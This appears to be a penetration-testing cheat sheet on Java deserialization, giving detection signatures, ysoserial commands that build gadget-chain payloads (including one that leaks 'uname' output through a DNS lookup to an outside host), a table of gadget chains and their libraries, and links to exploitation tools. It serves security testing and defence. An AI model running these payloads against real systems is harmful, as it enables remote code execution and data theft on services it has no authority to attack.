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# Java Deserialization
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## Detection
- "AC ED 00 05" in Hex
- "rO0" in Base64
- Content-type = "application/x-java-serialized-object"
- "H4sIAAAAAAAAAJ" in gzip(base64)
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## Exploit
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[ysoserial ](https://github.com/frohoff/ysoserial ) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
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```java
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java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
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java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname` .[redacted]' | gzip | base64
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```
payload | author | dependencies | impact (if not RCE)
------|--------|------ |------
BeanShell1 |@pwntester, @cschneider4711 |bsh:2.0b5
C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure |@JackOfMostTrades |clojure:1.8.0
CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 |@frohoff |commons-collections:3.1
CommonsCollections2 |@frohoff |commons-collections4:4.0
CommonsCollections3 |@frohoff |commons-collections:3.1
CommonsCollections4 |@frohoff |commons-collections4:4.0
CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
CommonsCollections6 |@matthias_kaiser |commons-collections:3.1
FileUpload1 |@mbechler |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
Groovy1 |@frohoff |groovy:2.3.9
Hibernate1 |@mbechler|
Hibernate2 |@mbechler|
JBossInterceptors1 |@matthias_kaiser |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient |@mbechler|
JRMPListener |@mbechler|
JSON1 |@mbechler |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 |@matthias_kaiser |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 |@frohoff|
Jython1 |@pwntester, @cschneider4711 |jython-standalone:2.5.2
MozillaRhino1 |@matthias_kaiser |js:1.7R2
Myfaces1 |@mbechler|
Myfaces2 |@mbechler|
ROME |@mbechler |rome:1.0
Spring1 |@frohoff |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS |@gebl| | jre only vuln detect
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
Additional tools (integration ysoserial with Burp Suite):
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- [JavaSerialKiller ](https://github.com/NetSPI/JavaSerialKiller )
- [Java Deserialization Scanner ](https://github.com/federicodotta/Java-Deserialization-Scanner )
- [Burp-ysoserial ](https://github.com/summitt/burp-ysoserial )
- [SuperSerial ](https://github.com/DirectDefense/SuperSerial )
- [SuperSerial-Active ](https://github.com/DirectDefense/SuperSerial-Active )
JRE8u20_RCE_Gadget
[https://github.com/pwntester/JRE8u20_RCE_Gadget ](https://github.com/pwntester/JRE8u20_RCE_Gadget )
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JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool, [https://github.com/joaomatosf/jexboss ](https://github.com/joaomatosf/jexboss )
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## References
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- [Github - ysoserial ](https://github.com/frohoff/ysoserial )
- [Java-Deserialization-Cheat-Sheet - GrrrDog ](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md )
- [Understanding & practicing java deserialization exploits ](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/ )
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- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil ](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a )
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli ](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html )
